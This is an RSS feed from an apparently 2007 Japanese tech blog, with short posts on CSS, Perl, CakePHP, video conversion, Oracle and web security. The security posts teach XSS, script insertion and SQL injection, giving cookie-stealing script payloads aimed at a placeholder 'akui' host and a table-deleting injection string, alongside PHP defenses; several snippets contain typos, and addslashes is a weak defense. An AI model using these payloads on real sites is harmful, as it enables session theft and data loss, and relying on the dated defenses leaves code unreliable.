<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/ME2.0.9" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Tech * Note</title>
	<link>http://2mihi.com</link>
	<description>面白いWebサービスやWeb技術、デザイン、EC、SEO、その他ビジネス関連について紹介していきます</description>
	<pubDate>Sat, 15 Sep 2007 17:09:31 +0900</pubDate>
	<generator>http://wordpress.xwd.jp/?v=ME2.0.9</generator>
	<language>ja</language>
			<item>
		<title>CSSで使用するフォント</title>
		<link>http://2mihi.com/49</link>
		<comments>http://2mihi.com/49#comments</comments>
		<pubDate>Sun, 16 Sep 2007 02:09:31 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>未分類</category>

		<guid isPermaLink="false">http://2mihi.com/49</guid>
		<description><![CDATA[font-family: Verdana, arial, sans-serif, &#8220;ヒラギノ角ゴ Pro W4&#8243;, &#8220;EE ゴシチE&#8221;, &#8220;...]]></description>
			<content:encoded><![CDATA[font-family: Verdana, arial, sans-serif, "ヒラギノ角ゴ Pro W4", "EE ゴシチE", "Osaka";
↑結構使います。]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/49/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CakePHPを使ってみる#1</title>
		<link>http://2mihi.com/48</link>
		<comments>http://2mihi.com/48#comments</comments>
		<pubDate>Fri, 17 Aug 2007 00:56:22 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>PHP</category>

		<category>CakePHP</category>

		<guid isPermaLink="false">http://2mihi.com/48</guid>
		<description><![CDATA[いろいろなところで騒がれているCakePHP。これまでPHPはあまり使用したことがないですが、
開発効率があがればと思い、実際にCakePHPでWebアプリをつくりたいと思います。
【ダウンロード】
...]]></description>
			<content:encoded><![CDATA[いろいろなところで騒がれているCakePHP。これまでPHPはあまり使用したことがないですが、

開発効率があがればと思い、実際にCakePHPでWebアプリをつくりたいと思います。

<strong>【ダウンロード】</strong>

以下サイトからダウンロードする。

<a title="CakePHP" href="http://www.cakephp.org/">http://www.cakephp.org/</a>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/48/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Perlのリファレンスを使用する方法</title>
		<link>http://2mihi.com/47</link>
		<comments>http://2mihi.com/47#comments</comments>
		<pubDate>Sun, 20 May 2007 23:24:18 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>Perl</category>

		<guid isPermaLink="false">http://2mihi.com/47</guid>
		<description><![CDATA[リファレンスはバックスラッシュ（\）を使用するとのことです。
Perlでは多次元配列が使用したい場合はリファレンスを使用します。

まずは各々の変数を定義

$scalar = "scalar";
@...]]></description>
			<content:encoded><![CDATA[リファレンスはバックスラッシュ（\）を使用するとのことです。

Perlでは多次元配列が使用したい場合はリファレンスを使用します。
<ul>
	<li>まずは各々の変数を定義</li>
</ul>
<pre>$scalar = "scalar";
@array = ('array0','array1');
%hash = (key1=>'value1', key2=>'value2');</pre>
<ul>
	<li>上記の変数のリファレンスをスカラ変数に設定する</li>
</ul>
<pre>$scalarref=￥$scalar;
$arrayref=￥@array;
$hashref=￥%hash;</pre>
<ul>
	<li>リファレンスを元の型に戻す</li>
</ul>
<pre>$scalar_org=$$scalarref;
@array_org=@$arrayref;
%hash_org=%$hashref;</pre>
<ul>
	<li>無名配列と無名ハッシュの設定方法</li>
</ul>
<pre>$arrayref = ['array0', 'array1'];
$hashref = {key1=>'value1', key2=>'value2'};</pre>
<ul>
	<li>デリファレンス演算子を使用して値を取り出す</li>
</ul>
<pre>$arrayref->[0]; #array0
$hashref->{key2}; #value2</pre>
<ul>
	<li>ちょっと複雑なデータ構造</li>
</ul>
<pre>@array=(['item0','item1','item2'],
['item3','item4','item5']);

@{array[1]}; #@$arrayref : ['item3','item4','item5']
${array[1]}[2]; #item5
$array[1]->[2]; #item5
$array[1][2]; #item5</pre>
<ul>
	<li>配列とハッシュのスライス</li>
</ul>
<pre>@array=('item0','item1','item2');
#変数は配列のまま要素を指定 ('item1','item2')
@array_slice=@array[1,2];
%hash=(key1=>'val1',key2>'val2',key3=>'val3');
@array_slice=@hash{key1,key3}; #('val1','val3')
@keys = qw(key1 key3);
@array_slice=@hash{@keys};  #('val1','val3')</pre>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/47/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Perlの勉強はじめました。(perldoc等)</title>
		<link>http://2mihi.com/45</link>
		<comments>http://2mihi.com/45#comments</comments>
		<pubDate>Tue, 01 May 2007 01:00:25 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>Perl</category>

		<guid isPermaLink="false">http://2mihi.com/45</guid>
		<description><![CDATA[いまさらながらＰｅｒｌを入門書でいちから覚えることにしました。
文法とかあまりよくわからず使っていたもので。。。
とりあえずプログラミングするのに使用するコマンドを纏めてみました。

Perlのバージ...]]></description>
			<content:encoded><![CDATA[いまさらながらＰｅｒｌを入門書でいちから覚えることにしました。

文法とかあまりよくわからず使っていたもので。。。

とりあえずプログラミングするのに使用するコマンドを纏めてみました。
<ul>
	<li>Perlのバージョンを確認する</li>
</ul>
<pre>> perl -v</pre>
<ul>
	<li>組み込み関数一覧を表示する</li>
</ul>
<pre>> perldoc perlfunc</pre>
<ul>
	<li>ドキュメントの確認方法</li>
</ul>
<pre>> perldoc -f shift</pre>
<ul>
	<li>文法のチェック</li>
</ul>
<pre>> perl -cw test.pl</pre>
<ul>
	<li>冒頭に必ずつける</li>
</ul>
<pre>use strict; #厳密なプログラムチェック
use warnings; #詳細な警告</pre>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/45/feed/</wfw:commentRss>
		</item>
		<item>
		<title>mpegファイルをflvファイルに変換する</title>
		<link>http://2mihi.com/44</link>
		<comments>http://2mihi.com/44#comments</comments>
		<pubDate>Mon, 23 Apr 2007 01:35:55 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>便利ツール</category>

		<guid isPermaLink="false">http://2mihi.com/44</guid>
		<description><![CDATA[mpegファイルを編集して、flvに変換する手順をまとめます。
1. まずはファイルフォーマットを調査します
真空波動研SuperLite
ドラッグすればファイルのフォーマットmpeg1ということがわ...]]></description>
			<content:encoded><![CDATA[mpegファイルを編集して、flvに変換する手順をまとめます。

<strong>1. まずはファイルフォーマットを調査します</strong>

<a href="http://www.forest.impress.co.jp/lib/pic/video/vdoenc/shinkuuslite.html">真空波動研SuperLite</a>
ドラッグすればファイルのフォーマットmpeg1ということがわかります。

<strong>2. 次にmpegファイルを変換します</strong>

<a href="http://www.vector.co.jp/soft/win95/art/se321907.html?site=n">Mpgcutter</a>
MPEG1/2ファイルでCM削除など、切り張り編集が可能なMPEG編集ソフト

※動画ファイルを同一フォルダにいれないとなぜか変換できませんでした。

<strong>3. mpeg⇒flv変換 </strong>

<a href="http://www.rivavx.com/index.php?downloads&L=3">Riva FLV Encoder</a>
<a href="http://www.download.com/Riva-FLV-Encoder/3000-2140-10320097.html?part=dl-RivaFLVEn&subj=dl&tag=button">http://www.download.com/Riva-FLV-Encoder/3000-2140-10320097.html?part=dl-RivaFLVEn&subj=dl&tag=button</a>
<div class="linkbox"><a href="http://www.forest.impress.co.jp/lib/pic/video/vdoenc/shinkuuslite.html">真空波動研SuperLite</a><a href="http://www.vector.co.jp/soft/win95/art/se321907.html?site=n">Mpgcutter</a>

<a href="http://www.rivavx.com/index.php?downloads&L=3">Riva FLV Encoder</a>
<a href="http://www.download.com/Riva-FLV-Encoder/3000-2140-10320097.html?part=dl-RivaFLVEn&subj=dl&tag=button">http://www.download.com/Riva-FLV-Encoder/3000-2140-10320097.html?part=dl-RivaFLVEn&subj=dl&tag=button</a></div>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/44/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HTTPの勉強方法</title>
		<link>http://2mihi.com/43</link>
		<comments>http://2mihi.com/43#comments</comments>
		<pubDate>Tue, 17 Apr 2007 01:09:34 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>HTTP</category>

		<guid isPermaLink="false">http://2mihi.com/43</guid>
		<description><![CDATA[一時セキュリティはお休み。まとめているだけで結構時間がかかるためです。
まずは基本のＨＴＴＰとはなんぞやという点をまとめます。
コマンドプロンプトで確認するのが一番でしょ。
以下にコマンドをずらずら綴...]]></description>
			<content:encoded><![CDATA[一時セキュリティはお休み。まとめているだけで結構時間がかかるためです。

まずは基本のＨＴＴＰとはなんぞやという点をまとめます。

コマンドプロンプトで確認するのが一番でしょ。

以下にコマンドをずらずら綴ります。
<pre>> telnet
MicrosoftTelnet> open localhost 80
接続中: localhost...

GET / HTTP/1.1
Host: localhost</pre>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/43/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Webセキュリティ(3)-SQL Injection</title>
		<link>http://2mihi.com/41</link>
		<comments>http://2mihi.com/41#comments</comments>
		<pubDate>Sun, 15 Apr 2007 03:15:02 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>DB</category>

		<category>セキュリティ</category>

		<category>PHP</category>

		<guid isPermaLink="false">http://2mihi.com/41</guid>
		<description><![CDATA[今度はSQL　Injection。
これは、Script InsertionやXSSと違ってJavaScriptは必要ありません。
 【概要】
削除フォーム等でSQLが必ず、真になるように入力し本来考...]]></description>
			<content:encoded><![CDATA[今度は<strong>SQL　Injection</strong>。

これは、<a href="http://2mihi.com/39">Script Insertion</a>や<a href="http://2mihi.com/40">XSS</a>と違ってJavaScriptは必要ありません。

<strong> 【概要】</strong>
削除フォーム等でSQLが必ず、真になるように入力し本来考慮していない動作をさせる

<strong> 【攻撃】</strong>
フォームからのSQL、where句を必ず真にするようにして悪意のあるSQLに変換する
<pre>例１（SQL）：
0 or 1 /*(コメントアウト文）

例２（SQL）：
0 or 1; delete from table /*</pre>
<strong>【防御】</strong>
SQLサニタイズを実施する(整数値：intval、文字列：addslashes、浮動小数点：doubleval)
<pre>例（PHP）：
"SELECT COUNT(*) FROM bbs
WHERE id='".intval($_POST["id"]).
"' AND pass<>'".addslashes($_POST["pass"])."'"</pre>
<strong>直接関係ないですが、チェックをereg等の関数でおこなうのは危険です。 eregはバイナリセーフでないため、ヌルバイト文字（\0）を入れられると フィルタリングは意味を持たなくなります</strong>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/41/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Webセキュリティ(2)-XSS(クロスサイトスクリプティング)</title>
		<link>http://2mihi.com/40</link>
		<comments>http://2mihi.com/40#comments</comments>
		<pubDate>Sun, 15 Apr 2007 01:32:01 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>セキュリティ</category>

		<category>PHP</category>

		<guid isPermaLink="false">http://2mihi.com/40</guid>
		<description><![CDATA[Script Insertionと類似しているのがXSS（クロスサイトスクリプティング）です。
おそらく一番有名なアタック方法ではないでしょうか？
【概要】
特定のURIを送り込んで（JavaScri...]]></description>
			<content:encoded><![CDATA[Script Insertionと類似しているのが<strong>XSS（クロスサイトスクリプティング）</strong>です。

おそらく一番有名なアタック方法ではないでしょうか？
<strong>【概要】</strong>
特定のURIを送り込んで（JavaScript）、強制的にスクリプトを実行させる。

HTTPにJavaScriptがのるのが特徴
<strong>【攻撃】</strong>
以下のJavaScriptを掲示板等の入力フォームに書きこむか、

もしくは、同様のものをメールで送信し、踏ませる
<pre>例(JavaScript)：
１）http://target/index.php?id=
＜ｓｃｒｉｐｔ＞document.localtion='http://akui/?'+document.cookie;
＜/ｓｃｒｉｐｔ＞
２）タグなしパターン
http://target/indexphp/"
onmouseover="document.location='http:akui/?'+document.cookie;/</pre>
<strong>【防御】</strong>
HTMLサニタイズ（無害化）する
<pre>例(PHP)：
１）echo htmlspecialchars($row['name'],ENT_QUOTES);
２）ＩＥのバグでjavascriptの間に制御文字が入ってもスクリプトの開始と
みなすため、ブラックリスト法では対処が不十分
preg_replace('/javascript/i', '',
preg_replace('/[x00-x20x22x27]/', '', $url));</pre>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/40/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Webセキュリティ(1)-Script Insertion</title>
		<link>http://2mihi.com/39</link>
		<comments>http://2mihi.com/39#comments</comments>
		<pubDate>Sun, 15 Apr 2007 00:59:14 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>セキュリティ</category>

		<category>PHP</category>

		<guid isPermaLink="false">http://2mihi.com/39</guid>
		<description><![CDATA[Webのセキュリティをまとめていこうと思います。
サーバサイドは勉強のためにPHPを使用しました。Javaでしか開発経験ないので。。。
１つ目はScript  Insertionです。
【概要】
いわ...]]></description>
			<content:encoded><![CDATA[Webのセキュリティをまとめていこうと思います。

サーバサイドは勉強のためにPHPを使用しました。Javaでしか開発経験ないので。。。
１つ目は<strong>Script  Insertion</strong>です。

<strong>【概要】</strong>
いわゆるフォームにJavaScriptを埋め込んで、リダイレクトやCookie情報をとる

<strong>【攻撃】</strong>
以下のJavaScriptを掲示板等の入力フォームに書きこむ
<pre>例(JavaScript)：
localtion.href="http://xxx" mce_href="http://xxx"         ;</pre>
<strong>【防御】</strong>
HTMLサニタイズ（無害化）する
<pre>例(PHP)：
echo htmlspecialchars($row['name'],ENT_QUOTES);</pre>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/39/feed/</wfw:commentRss>
		</item>
		<item>
		<title>よく忘れるOracleの件数指定でのselect</title>
		<link>http://2mihi.com/38</link>
		<comments>http://2mihi.com/38#comments</comments>
		<pubDate>Wed, 11 Apr 2007 19:24:02 +0900</pubDate>
		<dc:creator>tenma</dc:creator>
		
		<category>DB</category>

		<guid isPermaLink="false">http://2mihi.com/38</guid>
		<description><![CDATA[Oracleで件数を指定してselectをかけたい時があります。（レコードが多いが、とりあえず数件表示してフィールド名だけみたいときとか。。）
いつもSQL書くときどうだったっけと悩んでしまうのでメモ...]]></description>
			<content:encoded><![CDATA[Oracleで件数を指定してselectをかけたい時があります。（レコードが多いが、とりあえず数件表示してフィールド名だけみたいときとか。。）

いつもSQL書くときどうだったっけと悩んでしまうのでメモしておきます。
<pre>-- sample_tableから頭10件のみ取得
select * from sample_table where rownum <= 10</pre>]]></content:encoded>
			<wfw:commentRss>http://2mihi.com/38/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
